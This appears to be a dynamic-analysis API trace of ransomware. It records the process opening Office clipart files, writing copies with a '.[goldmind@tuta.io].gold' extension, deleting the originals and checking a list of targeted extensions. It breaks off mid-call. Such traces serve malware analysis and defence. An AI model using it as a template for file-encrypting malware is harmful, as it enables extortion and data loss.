GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.052] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.052] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0097.052] GetLastError () returned 0x0 [0097.052] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xe86, lpOverlapped=0x0) returned 1 [0097.054] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe90, lpOverlapped=0x0) returned 1 [0097.054] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.054] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.054] SetEndOfFile (hFile=0x3a4) returned 1 [0097.054] CloseHandle (hObject=0x3a4) returned 1 [0097.055] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.055] SetEndOfFile (hFile=0x3a8) returned 1 [0097.056] CloseHandle (hObject=0x3a8) returned 1 [0097.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0097.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.575] lstrlenW (lpString=".doc") returned 4 [0097.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.575] lstrlenW (lpString=".docx") returned 5 [0097.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.578] lstrlenW (lpString=".pdf") returned 4 [0097.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.578] lstrlenW (lpString=".xls") returned 4 [0097.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.578] lstrlenW (lpString=".xlsx") returned 5 [0097.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.578] lstrlenW (lpString=".ppt") returned 4 [0097.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.582] lstrlenW (lpString=".zip") returned 4 [0097.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.582] lstrlenW (lpString=".rar") returned 4 [0097.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.583] lstrlenW (lpString=".bz2") returned 4 [0097.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.583] lstrlenW (lpString=".7z") returned 3 [0097.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.584] lstrlenW (lpString=".dbf") returned 4 [0097.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.585] lstrlenW (lpString=".1cd") returned 4 [0097.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.588] lstrlenW (lpString=".jpg") returned 4 [0097.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.593] lstrlenW (lpString=".doc") returned 4 [0097.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.593] lstrlenW (lpString=".docx") returned 5 [0097.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.593] lstrlenW (lpString=".pdf") returned 4 [0097.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.593] lstrlenW (lpString=".xls") returned 4 [0097.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.593] lstrlenW (lpString=".xlsx") returned 5 [0097.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.593] lstrlenW (lpString=".ppt") returned 4 [0097.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.593] lstrlenW (lpString=".zip") returned 4 [0097.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.593] lstrlenW (lpString=".rar") returned 4 [0097.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.593] lstrlenW (lpString=".bz2") returned 4 [0097.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.594] lstrlenW (lpString=".7z") returned 3 [0097.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.594] lstrlenW (lpString=".dbf") returned 4 [0097.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.594] lstrlenW (lpString=".1cd") returned 4 [0097.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0097.594] lstrlenW (lpString=".jpg") returned 4 [0097.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.594] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.594] lstrlenW (lpString="HH00625_.WMF") returned 12 [0097.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.595] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2116) returned 1 [0097.595] CloseHandle (hObject=0x3a8) returned 1 [0097.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0097.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0097.638] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.638] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0097.675] GetLastError () returned 0x0 [0097.675] ReadFile (in: hFile=0x3c0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x844, lpOverlapped=0x0) returned 1 [0097.680] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x850, lpOverlapped=0x0) returned 1 [0097.681] ReadFile (in: hFile=0x3c0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.681] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.682] SetEndOfFile (hFile=0x3c4) returned 1 [0097.682] CloseHandle (hObject=0x3c4) returned 1 [0097.682] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.682] SetEndOfFile (hFile=0x3c0) returned 1 [0097.683] CloseHandle (hObject=0x3c0) returned 1 [0097.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".doc") returned 4 [0098.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString=".docx") returned 5 [0098.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.068] lstrlenW (lpString=".pdf") returned 4 [0098.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString=".xls") returned 4 [0098.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.068] lstrlenW (lpString=".xlsx") returned 5 [0098.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.068] lstrlenW (lpString=".ppt") returned 4 [0098.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".zip") returned 4 [0098.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.068] lstrlenW (lpString=".rar") returned 4 [0098.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString=".bz2") returned 4 [0098.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString=".7z") returned 3 [0098.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".dbf") returned 4 [0098.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".1cd") returned 4 [0098.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".jpg") returned 4 [0098.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.068] lstrlenW (lpString=".doc") returned 4 [0098.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.068] lstrlenW (lpString=".docx") returned 5 [0098.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.069] lstrlenW (lpString=".pdf") returned 4 [0098.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString=".xls") returned 4 [0098.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.069] lstrlenW (lpString=".xlsx") returned 5 [0098.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.069] lstrlenW (lpString=".ppt") returned 4 [0098.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.069] lstrlenW (lpString=".zip") returned 4 [0098.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.069] lstrlenW (lpString=".rar") returned 4 [0098.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString=".bz2") returned 4 [0098.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString=".7z") returned 3 [0098.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.069] lstrlenW (lpString=".dbf") returned 4 [0098.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.069] lstrlenW (lpString=".1cd") returned 4 [0098.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0098.069] lstrlenW (lpString=".jpg") returned 4 [0098.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.069] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.069] lstrlenW (lpString="HH00688_.WMF") returned 12 [0098.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0098.070] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7084) returned 1 [0098.070] CloseHandle (hObject=0x364) returned 1 [0098.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0098.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0098.070] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.070] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.071] GetLastError () returned 0x0 [0098.071] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1bac, lpOverlapped=0x0) returned 1 [0098.119] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0098.120] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0098.120] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.120] SetEndOfFile (hFile=0x380) returned 1 [0098.120] CloseHandle (hObject=0x380) returned 1 [0098.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.120] SetEndOfFile (hFile=0x364) returned 1 [0098.122] CloseHandle (hObject=0x364) returned 1 [0098.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0098.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.219] lstrlenW (lpString=".doc") returned 4 [0098.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.219] lstrlenW (lpString=".docx") returned 5 [0098.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.219] lstrlenW (lpString=".pdf") returned 4 [0098.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.219] lstrlenW (lpString=".xls") returned 4 [0098.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.219] lstrlenW (lpString=".xlsx") returned 5 [0098.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.219] lstrlenW (lpString=".ppt") returned 4 [0098.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.219] lstrlenW (lpString=".zip") returned 4 [0098.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.219] lstrlenW (lpString=".rar") returned 4 [0098.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString=".bz2") returned 4 [0098.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString=".7z") returned 3 [0098.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.357] lstrlenW (lpString=".dbf") returned 4 [0098.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.357] lstrlenW (lpString=".1cd") returned 4 [0098.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.357] lstrlenW (lpString=".jpg") returned 4 [0098.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.357] lstrlenW (lpString=".doc") returned 4 [0098.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString=".docx") returned 5 [0098.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.357] lstrlenW (lpString=".pdf") returned 4 [0098.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString=".xls") returned 4 [0098.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.357] lstrlenW (lpString=".xlsx") returned 5 [0098.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.357] lstrlenW (lpString=".ppt") returned 4 [0098.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.358] lstrlenW (lpString=".zip") returned 4 [0098.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.358] lstrlenW (lpString=".rar") returned 4 [0098.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.358] lstrlenW (lpString=".bz2") returned 4 [0098.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.358] lstrlenW (lpString=".7z") returned 3 [0098.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.368] lstrlenW (lpString=".dbf") returned 4 [0098.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.368] lstrlenW (lpString=".1cd") returned 4 [0098.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0098.368] lstrlenW (lpString=".jpg") returned 4 [0098.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.368] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.368] lstrlenW (lpString="HH01013_.WMF") returned 12 [0098.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0098.472] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2848) returned 1 [0098.472] CloseHandle (hObject=0x3a0) returned 1 [0098.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0098.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.851] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 